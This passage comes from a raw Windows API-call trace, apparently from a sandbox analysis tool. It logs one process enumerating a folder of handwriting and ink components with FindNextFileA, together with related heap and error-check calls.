cAlternateFileName="")) returned 1 [0119.166] GetLastError () returned 0x0 [0119.166] GetCurrentThreadId () returned 0x9b0 [0119.166] GetLastError () returned 0x0 [0119.166] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0553f37, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="bg-BG", cAlternateFileName="")) returned 1 [0119.166] GetLastError () returned 0x0 [0119.166] GetCurrentThreadId () returned 0x9b0 [0119.166] GetLastError () returned 0x0 [0119.166] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe46546cb, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe46546cb, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x69a5, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="Content.xml", cAlternateFileName="")) returned 1 [0119.166] GetLastError () returned 0x0 [0119.166] GetCurrentThreadId () returned 0x9b0 [0119.166] GetLastError () returned 0x0 [0119.166] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0554b83, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0119.167] GetLastError () returned 0x0 [0119.167] GetLastError () returned 0x0 [0119.167] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3881258, Size=0x20) returned 0x33ea228 [0119.167] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05550d5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0119.167] GetLastError () returned 0x0 [0119.167] GetLastError () returned 0x0 [0119.167] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0555b2c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0119.167] GetLastError () returned 0x0 [0119.167] GetLastError () returned 0x0 [0119.167] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa055662c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0119.167] GetLastError () returned 0x0 [0119.168] GetLastError () returned 0x0 [0119.168] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0557085, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="en-GB", cAlternateFileName="")) returned 1 [0119.168] GetLastError () returned 0x0 [0119.168] GetLastError () returned 0x0 [0119.168] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33ea228, Size=0x40) returned 0x3887338 [0119.168] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dd09d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe8231541, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0119.168] GetLastError () returned 0x0 [0119.168] GetLastError () returned 0x0 [0119.168] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05ddf5c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0119.168] GetLastError () returned 0x0 [0119.168] GetLastError () returned 0x0 [0119.169] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dea14, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="es-MX", cAlternateFileName="")) returned 1 [0119.169] GetLastError () returned 0x0 [0119.169] GetLastError () returned 0x0 [0119.169] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df011, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="et-EE", cAlternateFileName="")) returned 1 [0119.169] GetLastError () returned 0x0 [0119.169] GetLastError () returned 0x0 [0119.169] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df7b6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0119.169] GetLastError () returned 0x0 [0119.169] GetLastError () returned 0x0 [0119.169] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8f49e8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd11f8841, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd11f8841, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x186b84, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="FlickAnimation.avi", cAlternateFileName="")) returned 1 [0119.169] GetLastError () returned 0x0 [0119.169] GetLastError () returned 0x0 [0119.170] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8f49e8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd121ea9a, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd121ea9a, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xc4800, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="FlickLearningWizard.exe", cAlternateFileName="")) returned 1 [0119.170] GetLastError () returned 0x0 [0119.170] GetLastError () returned 0x0 [0119.170] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0635c03, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="fr-CA", cAlternateFileName="")) returned 1 [0119.170] GetLastError () returned 0x0 [0119.170] GetLastError () returned 0x0 [0119.170] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3887338, Size=0x64) returned 0x2a19968 [0119.170] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06369df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0119.170] GetLastError () returned 0x0 [0119.170] GetLastError () returned 0x0 [0119.170] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0637839, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="fsdefinitions", cAlternateFileName="FSDEFI~1")) returned 1 [0119.170] GetLastError () returned 0x0 [0119.170] GetLastError () returned 0x0 [0119.171] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cf9a3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="he-IL", cAlternateFileName="")) returned 1 [0119.171] GetLastError () returned 0x0 [0119.171] GetLastError () returned 0x0 [0119.171] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cfce2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="hr-HR", cAlternateFileName="")) returned 1 [0119.171] GetLastError () returned 0x0 [0119.171] GetLastError () returned 0x0 [0119.171] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06d0656, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0119.171] GetLastError () returned 0x0 [0119.171] GetLastError () returned 0x0 [0119.171] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8ce781, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe382bd1f, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe382bd1f, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xb620, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="hwrcommonlm.dat", cAlternateFileName="")) returned 1 [0119.171] GetLastError () returned 0x0 [0119.171] GetLastError () returned 0x0 [0119.172] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6eba2ec1, ftCreationTime.dwHighDateTime=0x1d112f2, ftLastAccessTime.dwLowDateTime=0xa07693a9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6eba2ec1, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="HWRCustomization", cAlternateFileName="HWRCUS~1")) returned 1 [0119.172] GetLastError () returned 0x0 [0119.172] GetLastError () returned 0x0 [0119.172] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85c57278, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xb269cdea, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb269cdea, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x79bc0, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="hwrenclm.dat", cAlternateFileName="")) returned 1 [0119.172] GetLastError () returned 0x0 [0119.173] GetLastError () returned 0x0 [0119.173] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8ce781, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe38781cd, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe38781cd, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x10cb30, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="hwrlatinlm.dat", cAlternateFileName="")) returned 1 [0119.173] GetLastError () returned 0x0 [0119.173] GetLastError () returned 0x0 [0119.173] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19968, Size=0x8c) returned 0x2ac03b8 [0119.173] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85cc99ae, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xb28b2edf, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb28b2edf, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x2662f0, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="hwrusalm.dat", cAlternateFileName="")) returned 1 [0119.173] GetLastError () returned 0x0 [0119.173] GetLastError () returned 0x0 [0119.173] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85cc99ae, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xb281a570, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb281a570, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x339380, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="hwrusash.dat", cAlternateFileName="")) returned 1 [0119.173] GetLastError () returned 0x0 [0119.174] GetLastError () returned 0x0 [0119.174] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e38953f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e38953f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e38953f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x58400, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="InkDiv.dll", cAlternateFileName="")) returned 1 [0119.174] GetLastError () returned 0x0 [0119.174] GetLastError () returned 0x0 [0119.174] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e38953f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e38953f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e38953f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1ecc00, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="InkObj.dll", cAlternateFileName="")) returned 1 [0119.174] GetLastError () returned 0x0 [0119.174] GetLastError () returned 0x0 [0119.174] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d14d081, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe467a929, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe467a929, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x59a00, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="InputPersonalization.exe", cAlternateFileName="")) returned 1 [0119.174] GetLastError () returned 0x0 [0119.174] GetLastError () returned 0x0 [0119.174] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x972, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="ipsar.xml", cAlternateFileName="")) returned 1 [0119.174] GetLastError () returned 0x0 [0119.174] GetLastError () returned 0x0 [0119.175] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa20, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="ipscat.xml", cAlternateFileName="")) returned 1 [0119.175] GetLastError () returned 0x0 [0119.175] GetLastError () returned 0x0 [0119.175] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x99e, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="ipschs.xml", cAlternateFileName="")) returned 1 [0119.175] GetLastError () returned 0x0 [0119.175] GetLastError () returned 0x0 [0119.175] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="ipscht.xml", cAlternateFileName="")) returned 1 [0119.175] GetLastError () returned 0x0 [0119.175] GetLastError () returned 0x0 [0119.175] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c940eb6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9fc, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="ipscsy.xml", cAlternateFileName="")) returned 1 [0119.175] GetLastError () returned 0x0 [0119.176] GetLastError () returned 0x0 [0119.176] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac03b8, Size=0xb8) returned 0x325ee70 [0119.176] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9d2, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="ipsdan.xml", cAlternateFileName="")) returned 1 [0119.176] GetLastError () returned 0x0 [0119.176] GetLastError () returned 0x0 [0119.176] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa38, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="ipsdeu.xml", cAlternateFileName="")) returned 1 [0119.176] GetLastError () returned 0x0 [0119.176] GetLastError () returned 0x0 [0119.176] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa3a, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="ipsel.xml", cAlternateFileName="")) returned 1 [0119.176] GetLastError () returned 0x0 [0119.176] GetLastError () returned 0x0 [0119.177] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa12, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="ipsen.xml", cAlternateFileName="")) returned 1 [0119.177] GetLastError () returned 0x0 [0119.177] GetLastError () returned 0x0 [0119.177] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c940eb6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xbd0, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="ipsesp.xml", cAlternateFileName="")) returned 1 [0119.177] GetLastError () returned 0x0 [0119.177] GetLastError () returned 0x0 [0119.177] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d14d081, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d14d081, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d14d081, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="IPSEventLogMsg.dll", cAlternateFileName="")) returned 1 [0119.177] GetLastError () returned 0x0 [0119.177] GetLastError () returned 0x0 [0119.177] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d100bae, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d100bae, 